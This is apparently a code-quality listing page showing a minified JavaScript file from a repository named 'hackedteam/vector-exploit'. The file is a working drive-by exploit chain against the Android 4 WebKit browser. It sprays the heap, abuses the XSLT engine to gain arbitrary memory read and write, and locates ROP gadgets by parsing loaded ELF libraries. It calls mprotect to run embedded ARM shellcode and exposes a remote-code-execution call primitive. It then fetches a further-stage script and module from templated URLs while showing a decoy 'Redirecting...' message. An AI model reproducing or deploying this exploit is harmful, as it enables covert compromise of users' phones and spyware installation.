hackedteam/vector-exploit

View on GitHub
src/ht-webkit-Android4-src/precompiled/release/script.js

Summary

Maintainability
A
0 mins
Test Coverage
ERR=function(){void 0!==window.g_xsltobj&&window.g_xsltobj.G&&window.g_xsltobj.terminate();window.location.replace("${B_REDIRECT_URI}");throw Error();};function n(a,b,c){void 0===c&&(c=0);this.m=a;this.f=b;this.index=c;this.size=4*this.m.length}
n.prototype.write=function(a,b){var c=a-(this.f+8);if((c-this.f)/4+this.index>this.m.length)throw Error("Attempt to write beyond array boundaries");if("number"==typeof b)this.m[c/4+this.index]=b;else{for(var e=new ArrayBuffer(4*Math.floor((b.length+3)/4)),g=new Uint8Array(e),e=new Uint32Array(e),h=0;h<b.length;h++)g[h]=b[h];for(h=0;h<e.length;h++)this.m[c/4+this.index+h]=e[h]}};
function r(a,b){var c=b-(a.f+8);if((c-a.f)/4+a.index>a.m.length)throw Error("Attempt to write beyond array boundaries");return a.m[c/4+a.index]}function s(a,b){void 0===b&&(b=!0);for(var c=[],e=0;e<a.length;e++)c.push(a.charCodeAt(e));!0===b&&c.push(0);return c}function t(a){0===a[a.length]&&a.splice(a.length-1,1);return String.fromCharCode.apply(null,a)}var u=[];
function v(a,b,c,e){for(var g=0;g<e.length;g++){var h=e[g],d=h[0]-(a+8),h=h[1];if("number"==typeof h)b[d/4+c]=h;else{for(var f=new ArrayBuffer(4*Math.floor((h.length+3)/4)),k=new Uint8Array(f),f=new Uint32Array(f),m=0;m<h.length;m++)k[m]=h[m];for(m=0;m<f.length;m++)b[d/4+c+m]=f[m]}}}function x(a){return(new DOMParser).parseFromString(a,"text/xml")}
window.start=function(){y();for(var a=[],b=0;64>b;b++)a.push([0+65536*b+b%16*4096+48,1886680168]),a.push([0+65536*b+b%16*4096+52,1999580986]),a.push([0+65536*b+b%16*4096+56,1999533943]),a.push([0+65536*b+b%16*4096+60,1919888947]),a.push([0+65536*b+b%16*4096+64,959524711]),a.push([0+65536*b+b%16*4096+68,1479489849]),a.push([0+65536*b+b%16*4096+72,1412385875]),a.push([0+65536*b+b%16*4096+76,1936613746]),a.push([0+65536*b+b%16*4096+80,1836216166]);for(b=0;330>b;b++){var c;try{c=new Uint32Array(1048564),
u.push(c)}catch(e){for(a=b-60;a<b;a++)delete u[a],u.splice(a,1);break}v(0,c,0,a)}z(2054172720,2033201200,-65536)};var A=0;function y(){window.setTimeout(function(){var a=document.createElement("p");a.innerHTML="Redirecting...";document.body.appendChild(a)},2500)}
function z(a,b,c){if(0<=c&&a>b)ERR();else if(0>=c&&a<b)ERR();else{for(;15360==(a&65280)||15872==(a&65280)||3932160==(a&16711680)||4063232==(a&16711680);)a+=c;8192>(a&65280)>>>0&&(a=0<c?(a&4294902015)>>>0^8192:(a-65536&4294902015)>>>0^28672);31232<(a&65280)&&(a=0<c?(a&4294902015)>>>65536^8192:(a&4294902015)>>>0^28672);2097152>(a&16711680)>>>0&&(a=0<c?(a&4278255615)>>>0^2097152:(a-16777216&4278255615)>>>0^7995392);7995392<(a&16711680)&&(a=0<c?(a&4278255615)>>>16777216^2097152:(a&4278255615)>>>0^7995392);
var e=B(a),e=D(e.url),g=document.createElement("iframe");g.style.height=0;g.style.width=0;g.style.border="none";var h=e.url;g.src=h;g.onload=function(d){d.currentTarget.contentWindow.location.href!=h&&ERR();d=d.currentTarget.contentWindow.document.documentElement;null===d||-1!=d.textContent.indexOf("error")?E(0,u.length-1,a):z(a+c,b,c)};document.body.appendChild(g)}}function G(a,b){for(var c=a;c<=b;c++)for(var e=0;64>e;e++)u[c][(65536*e+e%16*4096+48-8)/4]=0}
function H(a,b){for(var c=a;c<=b;c++)for(var e=0;64>e;e++)u[c][(65536*e+e%16*4096+48-8)/4]=1886680168}function E(a,b,c){if(a==b)I((c&4294967040)>>>0,a);else{var e=a+Math.floor((b-a+1)/2);G(a,e-1);J(function(){H(a,e-1);E(a,e-1,c)},function(){H(e,b);E(e,b,c)},c)}}
function J(a,b,c){var e=document.createElement("iframe");c=B(c);var g=D(c.url).url;e.style.height=0;e.style.width=0;e.style.border="none";e.src=g;e.onload=function(c){c.currentTarget.contentWindow.location.href!=g&&ERR();c=c.currentTarget.contentWindow.document.documentElement;null===c||-1!=c.textContent.indexOf("error")?b():a()};document.body.appendChild(e)}function K(a){return t([a>>0&255,a>>8&255,a>>16&255,a>>24&255])}
function D(a){return L('<?xml-stylesheet type="text/xsl" href="'+a+'"?><root/>',"application/xml")}function B(a){var b;b="<!DOCTYPE adoc [\x3c!-- x --\x3e";b+='<!ENTITY cdent "';b+="<html>XX";b+=K(a);b+=K(a);b+="XXXX";b+="XXXX";b+="<xsl:message xmlns:xsl='http://www.w3.org/1999/XSL/Transform' terminate='yes'/></html>\">";b+="\x3c!-- y --\x3e";b+="]>\n";b+='<ata xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">&cdent;</ata>';return L(b,"text/xsl")}
function L(a,b){var c=new WebKitBlobBuilder;c.append(a);var c=c.getBlob(b),e=webkitURL.createObjectURL(c);return{V:c,url:e}}
function I(a,b){var c=document.createElement("iframe");c.src="data.xml?id="+a.toString();c.style.height=0;c.style.width=0;c.style.border="none";c.onload=function(e){-1==e.currentTarget.contentWindow.location.href.indexOf("data.xml?id=")&&ERR();e=c.contentWindow.document;void 0===e&&ERR();var g=x('<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" ><xsl:template match="/*"><data><xsl:value-of select="generate-id()" /></data></xsl:template></xsl:stylesheet>'),h=new XSLTProcessor;
h.importStylesheet(g);h=h.transformToDocument(e);void 0===h&&ERR();var h=h.getElementsByTagName("data")[0],d=h.childNodes[0].nodeValue,h=new XSLTProcessor;h.importStylesheet(g);h=h.transformToDocument(e);void 0===h&&ERR();h=h.getElementsByTagName("data")[0];d!=h.childNodes[0].nodeValue&&ERR();g=60*parseInt(d.substring(2));(65536>g||4294967295<g)&&ERR();for(var g=g+56,g=g+4,f=M(a,g),d=u[b],k=0;64>k;k++){for(var m=(65536*k+k%16*4096)/4,h=0;40>h;h++)d[m-2+12+h]=0;v(a,d,m,f)}h=x('<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" ><xsl:template match="ztX">  <xsl:if test="text()=ELZ">    <xsl:apply-templates/>    <xsl:message terminate="yes"/>  </xsl:if></xsl:template><xsl:template match="/*">  <xsl:for-each select="namespace::*">    <xsl:if test="position() = 2">      <xsl:apply-templates />    </xsl:if>  </xsl:for-each></xsl:template></xsl:stylesheet>');
f=new XSLTProcessor;f.importStylesheet(h);f.transformToDocument(e);k=f=null;for(h=0;1024>h;h++)if(k=d[1024*h+32],0!==k){f=h;break}null===f&&ERR();A+=k&255;N(new n(d,((k&4294967040)>>>0)-4096*f,0),a,e,g)};document.body.appendChild(c)}
function M(a,b){var c=a+464,e,g,h;e=(c>>0&255)<<16|(c>>8&255)<<24;h=(c>>24&255)<<8|c>>16&255;for(var d=[[a+18+2,196608],[a+18+22,e],[a+18+26,h],[a+18+30,0],[a+18+34,0],[a+68+4,1],[a+68+8,a+448],[a+68+12,a+240],[a+68+24,a+712],[a+52+80,a+176],[a+144+4,3],[a+144+40,a+456],[a+176+16,a+208],[a+208+4,4026531839],[a+240+4,3],[a+240+24,a+364],[a+240+40,b],[a+304+4,14],[a+364+4,1],[a+364+8,a+452],[a+364+12,a+144],[a+364+24,a+400],[a+400+4,14],[a+400+24,a+18],[a+400+28,b-24],[a+448,5796986],[a+452,5917765],
[a+456,1],[a+464+4,14],[a+464+28,b+1-24]],f,k=2;15>=k;k++)f=a+256*k,b-=4,c=f+156,e=c>>0&255,g=c>>8&255,h=c>>16&255,c=c>>24&255,e=e<<16|g<<24,h|=c<<8,d.push([f+18+2,196608]),d.push([f+18+22,e]),d.push([f+18+26,h]),d.push([f+18+30,0]),d.push([f+64+4,3]),d.push([f+64+24,f+108]),d.push([f+64+40,b]),d.push([f+108+4,1]),d.push([f+108+8,a+452]),d.push([f+108+12,a+144]),d.push([f+108+24,f+168]),d.push([f+156+4,14]),d.push([f+156+28,b+1-24]),d.push([f+168+4,14]),d.push([f+168+24,f+18]),d.push([f+168+28,b-
24]),d.push([f+200+4,1]),d.push([f+200+8,a+448]),d.push([f+200+12,f+64]),15!=k&&d.push([f+200+24,f+456]);return d}
function N(a,b,c,e){var g=null;0!==r(a,b+18+30)&&(g=e-4);for(var h=2;15>=h;h++)0!==r(a,b+256*h+18+30)&&null===g&&(g=e-4*h);var d=b+4352;(b+8192-(a.f+8)-a.f)/4+a.index>a.m.length&&(d=((a.f&4294901760)>>>0)+77824);var f=document.createElement("iframe");f.style.height=0;f.style.width=0;f.style.border="none";f.setAttribute("src","data.xml?id="+b.toString()+"&contentId="+(d+68).toString());f.onload=function(){var e=f.contentWindow.document;void 0===e&&ERR();var h=x('<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" ><xsl:template match="/*"><data><xsl:value-of select="generate-id()" /></data></xsl:template></xsl:stylesheet>'),
l=new XSLTProcessor;l.importStylesheet(h);var k=l.transformToDocument(e);void 0===k&&ERR();k=60*parseInt(k.getElementsByTagName("data")[0].childNodes[0].nodeValue.substring(2));k=k+56+4;for(l=0;1024>l;l++)a.write(d+4*l,0);h=M(b,k);h.push([b+68+28,0]);h.push([b+112+24,0]);for(l=2;15>=l;l++)h.push([b+256*l+18+30,0]);h.push.apply(h,[[d+2048+0,7239026],[d+68+4,1],[d+68+8,d+2048],[d+68+12,d+128],[d+68+24,d+176],[d+128+4,14],[d+128+28,g+4-24],[d+128+24,d+1],[d+1+3,[0,3]],[d+176+4,1],[d+176+8,d+2048],[d+
176+12,d+240],[d+176+24,d+304],[d+240+4,14],[d+240+28,g+5-24],[d+240+24,0],[d+304+4,1],[d+304+8,d+2048],[d+304+12,d+368],[d+304+24,d+416],[d+368+4,14],[d+368+24,a.f+4096],[d+368+28,g+12-24],[d+416+4,1],[d+416+8,d+2048],[d+416+12,d+512],[d+416+24,b+68],[d+512+4,14],[d+512+24,a.f+8192],[d+512+28,g+8-24],[a.f+4096+4,3],[a.f+4096+24,0],[a.f+4096+20,0],[a.f+4096+28,0],[a.f+4096+40,0],[a.f+4096+44,0],[a.f+8192+4,3],[a.f+8192+24,0],[a.f+8192+20,0],[a.f+8192+28,0],[a.f+8192+40,0],[a.f+8192+44,0]]);for(l=
0;l<h.length;l++){var q=h[l];a.write(q[0],q[1])}h=x('<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" ><xsl:template match="run">  <xsl:apply-templates/></xsl:template><xsl:template match="ztX">  <xsl:if test="text()=ELZ">    <xsl:apply-templates/>    <xsl:message terminate="yes"/>  </xsl:if></xsl:template><xsl:template match="/*">  <xsl:for-each select="namespace::*">    <xsl:if test="position() = 2">      <xsl:apply-templates />    </xsl:if>  </xsl:for-each></xsl:template></xsl:stylesheet>');
l=new XSLTProcessor;l.importStylesheet(h);l.transformToDocument(e);e=null;0!==r(a,b+18+30)&&(e=k-4);for(l=2;15>=l;l++)0!==r(a,b+256*l+18+30)&&null===e&&(e=k-4*l);k=new O(a,a.f+4096,a.f+8192,g,c);k.page.write(k.u,s("myawesomedocument"));h=P(k,'<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" ><xsl:template match="/*"><data><xsl:value-of select="local-name()" /></data></xsl:template></xsl:stylesheet>');void 0===h&&ERR();h=h.getElementsByTagName("data")[0];void 0===h&&ERR();
"myawesomedocument"!=h.childNodes[0].nodeValue&&ERR();h=k.c(e+12);h=k.c(h+8);Q(k,e+8);Q(k,e+12);Q(k,e+40);aa(k,a,h)};document.body.appendChild(f);var k=new XMLHttpRequest;k.open("GET","${B_MODULE_REF}",!0);k.responseType="arraybuffer";k.onreadystatechange=function(){if(4==k.readyState)if(200==k.status){var a=k.response;a&&(window.g_module=new DataView(a))}else window.g_module=null};k.send(null)}
function aa(a,b,c){function e(a,b){for(var c=null,d=null,e=null,f=a;f<b;f+=80)if(67==m.c(f-4)){for(var h=0;16>h;h++)if(5767169==m.c(f+4*h)){var e=4*h+12,c=f,k=m.c(f+e);if(65536>k)return null;k=m.c(k+8);m.o(k,87);m.c(f);break}break}for(h in p)if("W"==p[h].nodeValue.slice(0,1)){d=p[h];break}return null===d||null===g?null:{k:d,a:c,A:e}}for(var g=b.f+12288,h=0,d,f=g;f<g+4096;f+=64)b.write(f-4,19),b.write(f+4,36877),b.write(f+16-4,g+8192|3),b.write(f+24,f+64),h+=1;b.write(f-64+24,0);b.write(g+8196,[0,
0,0,14]);R(a,g);var k=[];for(d=0;d<3*h;d++)k.push(new ArrayBuffer(2989));for(f=g;f<g+4096;f+=64)if(2989==r(b,f+4)){b.write(f+4,4294967295);b.write(f+8,0);break}f=null;for(d in k)if(2989!=k[d].byteLength){f=k[d];A*=k[d].byteLength;break}null===f&&ERR();var m=new S(f);m.b(b.f,318767103);k=0;for(f=g+4096;f<g+8176;f+=64)b.write(f-4,51),b.write(f+4,36877),b.write(f+48-4,g+8192|3),b.write(f+24,f+64),k+=1;b.write(f-64+24,0);R(a,g+4096);var p=[];for(d=0;d<3*k;d++)p.push(document.createTextNode("hello"+d));
d=function(a,b,c){for(var d=null,e=null;a<b;a+=c)if(51==m.c(a-4)&&5767169==m.c(a+36)){d=a;b=m.c(a+40);b=m.c(b+8);m.o(b,87);m.c(a);break}for(var f in p)if("W"==p[f].nodeValue.slice(0,1)){e=p[f];break}return null===e||null===d?null:{k:e,a:d,A:40}}(g+4096,g+8192,64);if(null===d){k=0;for(f=g+8448;f<g+12288;f+=80)b.write(f-4,67),b.write(f+4,36877),b.write(f+24,f+80),b.write(f+64-4,g+8192|3),k+=1;b.write(f-80+24,0);R(a,g+8448);p=[];for(d=0;d<3*k;d++)p.push(document.createTextNode("hello"+d));d=e(g+8448,
g+12288)}a.terminate();null===d&&ERR();ca(m,c,d,g,b)}
var T=[255,64,45,233,70,79,143,226,0,64,148,229,0,80,148,229,0,0,85,227,17,0,0,10,4,112,148,229,0,0,87,227,4,0,0,10,2,112,160,227,0,0,0,239,28,0,132,229,0,0,80,227,52,0,0,26,8,0,148,229,12,16,148,229,16,32,148,229,20,48,148,229,24,64,148,229,53,255,47,225,204,64,143,226,0,64,148,229,28,0,132,229,42,0,0,234,196,80,143,226,0,80,149,229,0,80,132,229,156,0,143,226,0,0,144,229,152,64,143,226,0,64,148,229,148,80,143,226,0,80,149,229,0,208,144,229,4,208,77,226,0,0,157,229,4,0,80,225,251,255,255,58,5,0,80,
225,249,255,255,42,32,208,141,226,112,64,143,226,0,64,148,229,108,80,143,226,0,80,149,229,8,0,157,229,4,0,80,225,11,0,0,58,5,0,80,225,9,0,0,42,88,0,143,226,0,0,144,229,1,0,80,227,0,0,0,10,48,128,189,232,64,176,143,226,0,176,155,229,48,0,189,232,116,106,148,229,4,240,157,228,12,0,157,229,4,0,80,225,2,0,0,58,5,0,80,225,0,0,0,42,112,128,189,232,240,128,189,232,255,128,189,232,0,221,218,186,1,221,218,186,2,221,218,186,3,221,218,186,4,221,218,186,5,221,218,186,6,221,218,186,7,221,218,186];
function ca(a,b,c,e,g){b=a.r(b);b=new U(b,a);var h=b.t("fopen"),h=a.r(h),h=new U(h,a),d={};d.q={a:V(h,"\u46bd\ue8bd\u40b0\ub003\u4770",c)};if(null===d.q.a){var f={};f.q={a:V(h,"\ud008\ue24b\u4810\ue8bd\ud00c\ue28d\uff1e\ue12f",c)};W(f);f.p={a:V(b,"\ub000\ue590\u2008\ue59b\uff32\ue12f",c)};W(f);f.i={a:V(b,"\u6021\ubd70",c),j:0};W(f);f.D={a:V(h,"\u8001\ue8bd",c)};W(f);f.F={a:V(b,"\ubd3e",c)};W(f);for(var k=e+32768,d=0;94>d;d++)a.b(k+4*d,f.p.a);var m=e+33792;a.b(k-8,3124970307);a.b(k-4,m+8);a.b(k+0,
f.q.a);a.b(k+4,3125167686);a.b(k+8,f.q.a);var p=X(h,"mprotect"),d=e+40960;g=[e+33536,3735928549,f.i.a+1,3735928544,3735928548,3735928552,3735928548,3735928549,3735928550,f.D.a,g.f,f.F.a+1,g.size-256,7,0,m+4,0,p,3735927508,3735927509,3735927510,d];for(var l in g)a.b(m+4*l,g[l]);g=e+24576;a.b(g+0,0);a.b(g+4,0);a.b(g+8,0);a.b(g+12,0);a.b(g+16,0);a.b(g+20,0);a.b(g+24,0);a.b(g+28,0);for(l=0;l<T.length;l++)a.o(d+l,T[l]);m=b.a;p=b.a+b.size;l=b.t("_ZN2v87Context5EnterEv");null!==l&&(l=a.r(l),l=new U(l,a),
m=l.a,p=l.a+l.size);for(l=0;l<T.length/4;l++)switch(a.c(d+4*l)){case 3134905600:a.b(d+4*l,e+33536+f.i.j);break;case 3134905601:a.b(d+4*l,b.a);break;case 3134905602:a.b(d+4*l,b.a+b.size);break;case 3134905603:a.b(d+4*l,m);break;case 3134905604:a.b(d+4*l,p);break;case 3134905605:a.b(d+4*l,g);break;case 3134905606:a.b(d+4*l,1)}l=a.c(c.a);a.b(c.a,k);c.k.nodeValue="x";a.b(c.a,l);l=a.c(g);a.b(g,0);A*=l;Y(a,new Z(a,c,g,d,k),h,b,e)}else{W(d);l=V(b,"\u6807\u687d\u47a8",c,2097152);d.p=null===l?null:{a:l,Q:5,
j:4};if(null===d.p){a:for(c.k.nodeValue="gadget1_slowsearch",l=a.c(c.a+c.A),f=a.c(l+8),m=a.c(l+4),a.b(l+8,b.a),a.b(l+4,b.size/2),p=0;;){var w=c.k.nodeValue.indexOf("\u6807",p);if(-1==w){a.b(l+8,f);a.b(l+4,m);l=null;break a}var p=w+1,w=b.a+2*w,q=a.n(w+2);if(26624==(q&63488)){var F=a.n(w+4);if(18304==(F&65408)){var C=(q>>6&31)<<2,ba=q>>3&7,q=q&7,F=F>>3&7;a.n(w);if(7==ba&&q==F&&8!=C&&12!=C&&!(80<C&&192>C)&&1!=q&&7!=q&&6!=q){a.b(l+8,f);a.b(l+4,m);l={a:w,Q:q,j:C};break a}}}}d.p=l}W(d);d.i={a:V(h,"\u6061\ubd10",
c),j:4};null===d.i.a&&(d.i={a:V(h,"\u6021\ubd10",c),j:0});null===d.i.a&&(d.i={a:V(b,"\u6021\ubd10",c),j:0});null===d.i.a&&(d.i={a:V(b,"\u6061\ubd10",c),j:4});W(d);d.D={a:V(h,"\u8001\ue8bd",c)};W(d);d.F={a:V(h,"\ubd3e",c)};W(d);l=e+32768;for(f=0;94>f;f++)a.b(l+4*f,d.p.a+1);a.b(l+0,3124970307);a.b(l+4,3125036100);a.b(l+8,e+33792);a.b(l+12,d.q.a+1);a.b(l+d.p.j,d.q.a+1);p=X(h,"mprotect");m=e+33792;f=e+40960;g=[e+33536,3735928549,3735928551,d.i.a+1,3735928544,3735928548,3735928552,3735928548,d.D.a,g.f,
d.F.a+1,g.size-256,7,0,m+4,0,p,0,f];for(k in g)a.b(m+4*k,g[k]);g=e+24576;a.b(g+0,0);a.b(g+4,0);a.b(g+8,0);a.b(g+12,0);a.b(g+16,0);a.b(g+20,0);a.b(g+24,0);a.b(g+28,0);for(k=0;k<T.length;k++)a.o(f+k,T[k]);m=b.a;p=b.a+b.size;k=b.t("_ZN2v87Context5EnterEv");null!==k&&(k=a.r(k),k=new U(k,a),m=k.a,p=k.a+k.size);for(k=0;k<T.length/4;k++)switch(a.c(f+4*k)){case 3134905600:a.b(f+4*k,e+33536+d.i.j);break;case 3134905601:a.b(f+4*k,b.a);break;case 3134905602:a.b(f+4*k,b.a+b.size);break;case 3134905603:a.b(f+
4*k,m);break;case 3134905604:a.b(f+4*k,p);break;case 3134905605:a.b(f+4*k,g);break;case 3134905606:a.b(f+4*k,0)}k=a.c(c.a);a.b(c.a,l);c.k.nodeValue="x";a.b(c.a,k);k=a.c(g);a.b(g,0);c=new Z(a,c,g,f,l);A*=k;Y(a,c,h,b,e)}}function W(a){for(var b in a)null!==a[b]&&null!==a[b].a||ERR()}
function Y(a,b,c,e,g){var h=A,d=document.createElement("script");d.type="text/javascript";d.onload=function(){window.stage4(a,b,c,e,g)};d.src="${B_STAGE4_REF}?trk="+h.toString();document.getElementsByTagName("head")[0].appendChild(d)}function Z(a,b,c,e,g){this.v=b;this.l=c;this.H=e;this.d=a;this.C=g}window.RCE=Z;
Z.prototype.call=function(a,b,c,e,g,h,d){void 0!==a&&null!==a||ERR();void 0===b&&(b=0);void 0===c&&(c=0);void 0===e&&(e=0);void 0===g&&(g=0);void 0===h&&(h=0);void 0===d&&(d=0);!1===d&&(d=0);!0===d&&(d=1);0!==d&&1!==d&&ERR();this.d.b(this.l+0,a);this.d.b(this.l+4,d);this.d.b(this.l+8,b);this.d.b(this.l+12,c);this.d.b(this.l+16,e);this.d.b(this.l+20,g);this.d.b(this.l+24,h);a=this.d.c(this.v.a);if(this.d.c(this.C)!=this.H)for(b=0;94>b;b++)this.d.b(this.C+4*b,this.H);this.d.b(this.v.a,this.C);this.v.k.nodeValue=
"x";this.d.b(this.v.a,a);return this.d.c(this.l+28)};Z.prototype.call=Z.prototype.call;Z.prototype.P=function(a,b,c,e,g,h){void 0!==a&&null!==a||ERR();void 0===b&&(b=0);void 0===c&&(c=0);void 0===e&&(e=0);void 0===g&&(g=0);void 0===h&&(h=0);return this.call(a,b,c,e,g,h,!0)};Z.prototype.forkingcall=Z.prototype.P;
function O(a,b,c,e,g){void 0===a&&ERR();void 0===b&&ERR();void 0===c&&ERR();void 0===e&&ERR();void 0===g&&ERR();window.g_xsltobj=this;this.G=!0;this.page=a;this.e=b;this.u=c;this.B=e;this.xml=g;for(b=0;6144>b;b++)a.write(this.e+4*b,0)}function P(a,b){var c=new XSLTProcessor,e=x(b);c.importStylesheet(e);return c.transformToDocument(a.xml)}
function Q(a,b){a.page.write(a.e+4,14);a.page.write(a.e+24,0);a.page.write(a.e+28,b-24);P(a,'<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" ><xsl:template match="/*">  <xsl:apply-templates/></xsl:template></xsl:stylesheet>');a.page.write(a.e+4,0);a.page.write(a.e+28,0)}
function R(a,b){a.page.write(a.e+4,14);a.page.write(a.e+24,b);a.page.write(b+4,2989);P(a,'<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/*">  <xsl:apply-templates/></xsl:template></xsl:stylesheet>');a.page.write(a.e+4,0);a.page.write(a.e+24,0)}
O.prototype.w=function(a){var b=r(this.page,this.e+4),c=r(this.page,this.e+40);this.page.write(this.e+4,3);this.page.write(this.e+40,a);a=P(this,'<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xq="http://www.w3.org/2002/08/xquery-functions" version="1.0" ><xsl:template match="/*"><data>DATA=<xsl:value-of select="xq:escape-uri(text(), false())" /></data></xsl:template></xsl:stylesheet>');void 0===a&&ERR();a=a.getElementsByTagName("data")[0].childNodes[0].nodeValue.slice(5);
this.page.write(this.e+4,b);this.page.write(this.e+40,c);return a};O.prototype.c=function(a){void 0===a&&ERR();var b=[],c;c=a;for(var e=0,g=0;4>e;){c=this.w(c);for(g=0;4>e&&g<c.length;)"%"==c[g]?(b.push(parseInt(c.slice(g+1,g+3),16)),g+=3):(b.push(c.charCodeAt(g)),g+=1),e+=1;4>e&&(b.push(0),e+=1);c=a+e}return(b[0]|b[1]<<8|b[2]<<16|b[3]<<24>>>0)>>>0};
O.prototype.terminate=function(){Q(this,this.B+40);this.page.write(this.u+256,s("qel"));this.page.write(this.e+4,1);this.page.write(this.e+8,this.u+256);this.page.write(this.e+12,this.e+128);this.page.write(this.e+24,this.e+64);this.page.write(this.e+64+4,1);this.page.write(this.e+64+8,this.u+256);this.page.write(this.e+64+12,this.e+176);this.page.write(this.e+128+4,14);this.page.write(this.e+128+24,0);this.page.write(this.e+128+28,this.B+8-24);this.page.write(this.e+176+4,14);this.page.write(this.e+
176+24,0);this.page.write(this.e+176+28,this.B+12-24);P(this,'<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" ><xsl:template match="qel">  <xsl:apply-templates/></xsl:template><xsl:template match="/*">  <xsl:apply-templates/></xsl:template></xsl:stylesheet>');this.G=!1};function S(a){void 0===a&&ERR();this.view=new DataView(a)}window.BufferMemoryObject=S;S.prototype.b=function(a,b){this.view.setUint32(a,b,!0)};S.prototype.write32=S.prototype.b;
S.prototype.c=function(a){return this.view.getUint32(a,!0)>>>0};S.prototype.read32=S.prototype.c;S.prototype.o=function(a,b){this.view.setUint8(a,b)};S.prototype.write8=S.prototype.o;S.prototype.K=function(a){return this.view.getUint8(a)};S.prototype.read8=S.prototype.K;S.prototype.S=function(a,b){this.view.setUint16(a,b,!0)};S.prototype.write16=S.prototype.S;S.prototype.n=function(a){return this.view.getUint16(a,!0)};S.prototype.read16=S.prototype.n;
S.prototype.T=function(a,b){for(var c=0;c<b.length;c++)this.o(a+c,b[c])};S.prototype.writearray=S.prototype.T;S.prototype.U=function(a,b){for(var c=s(b,!0),e=0;e<c.length;e++)this.o(a+e,c[e])};S.prototype.writestring=S.prototype.U;S.prototype.O=function(a,b,c){void 0===a&&ERR();void 0===b&&ERR();void 0===c&&ERR();for("number"==typeof c&&(c=[c]);a<b;){for(var e=a,g=0;g<c.length&&this.c(e)==c[g];g++){if(g==c.length-1)return a;e+=4}a+=4}return null};S.prototype.find32=S.prototype.O;
S.prototype.N=function(a,b,c){void 0===a&&ERR();void 0===b&&ERR();void 0===c&&ERR();for("number"==typeof c&&(c=[c]);a<b;){for(var e=a,g=0;g<c.length&&this.n(e)==c[g];g++){if(g==c.length-1)return a;e+=2}a+=2}return null};S.prototype.find16=S.prototype.N;S.prototype.r=function(a){for(a=(a&4294963200)>>>0;1179403647!=this.c(a)||257!=this.n(a+4);)a-=4096;return a};S.prototype.findimagebase=S.prototype.r;S.prototype.w=function(a){for(var b=[],c;;){c=this.K(a);if(0==c)break;b.push(c);a++}return t(b)};
S.prototype.readstring=S.prototype.w;
function U(a,b){void 0===a&&ERR();void 0===b&&ERR();this.a=a;this.d=b;var c=this.a+this.d.c(this.a+28),e=this.d.n(this.a+44),g;this.size=this.s=null;for(var h=0;h<e;h++){g=this.d.c(c);2==g&&(this.s=this.a+this.d.c(c+8));if(1==g&&5==this.d.c(c+24)){g=this.d.c(c+8);var d=this.d.c(c+20);0==g&&(this.size=d)}if(null!==this.s&&null!==this.size)break;c+=32}null===this.s&&ERR();null===this.size&&ERR();e=this.s;c={2:"pltrelsz",4:"hashtab",5:"strtab",6:"symtab",23:"jmprel"};this.g={};var f,k;for(f in c)this.g[c[f]]=
null;for(;;){f=this.d.c(e);if(0==f)break;f in c&&(this.g[c[f]]=this.d.c(e+4));e+=8;f=!0;for(k in this.g)if(null===this.g[k]){f=!1;break}if(!1!==f)break}for(k in this.g)null===this.g[k]&&ERR();this.g.strtab+=this.a;this.g.hashtab+=this.a;this.g.symtab+=this.a;this.g.jmprel+=this.a;for(k in this.g);this.I={};k=this.g.pltrelsz/8;for(f=0;f<k;f++)e=this.d.c(this.a+this.d.c(this.g.jmprel+8*f)),c=this.d.c(this.g.jmprel+8*f+4)>>>8,this.I[c]=e}window.ELFObject=U;
function V(a,b,c,e){void 0===b&&ERR();void 0===c&&ERR();void 0===e&&(e=0);c.k.nodeValue="ELFObject_findstring_"+Math.floor(1E5*Math.random()+1);var g=a.d.c(c.a+c.A),h=a.d.c(g+8),d=a.d.c(g+4);a.d.b(g+8,a.a);a.d.b(g+4,a.size/2);b=c.k.nodeValue.indexOf(b,e/2);a.d.b(g+8,h);a.d.b(g+4,d);return-1==b?null:a.a+2*b}U.prototype.t=function(a){a=$(this,a);return null===a?null:this.I[a]};U.prototype.findreloc=U.prototype.t;function X(a,b){var c=$(a,b);return null===c?null:a.d.c(a.g.symtab+16*c+4)+a.a}
U.prototype.R=function(a){a=X(this,a);void 0!==a&&0!==a||ERR();return a};U.prototype.requiresymbol=U.prototype.R;function $(a,b){void 0===a.h&&(a.h={},a.h.a=a.g.hashtab,a.h.J=a.d.c(a.h.a),a.h.W=a.d.c(a.h.a+4),a.h.L=a.h.a+8,a.h.M=a.h.a+8+4*a.h.J);for(var c=a.hash(b),c=a.d.c(a.h.L+c%a.h.J*4),e;;){e=a.d.c(a.g.symtab+16*c);if(0==e)return null;e=a.d.w(e+a.g.strtab);if(e==b)return c;c=a.d.c(a.h.M+4*c);if(0==c)return null}}
U.prototype.hash=function(a){function b(a){return(a>>>0&4294967295)>>>0}void 0===a&&ERR();for(var c=0,e,g=0;g<a.length;g++)c=b(b(c<<4)+a.charCodeAt(g)),e=b(c&4026531840),0!==e&&(c=b(c^b(e>>>24))),c=b(c&b(e^4294967295));return c};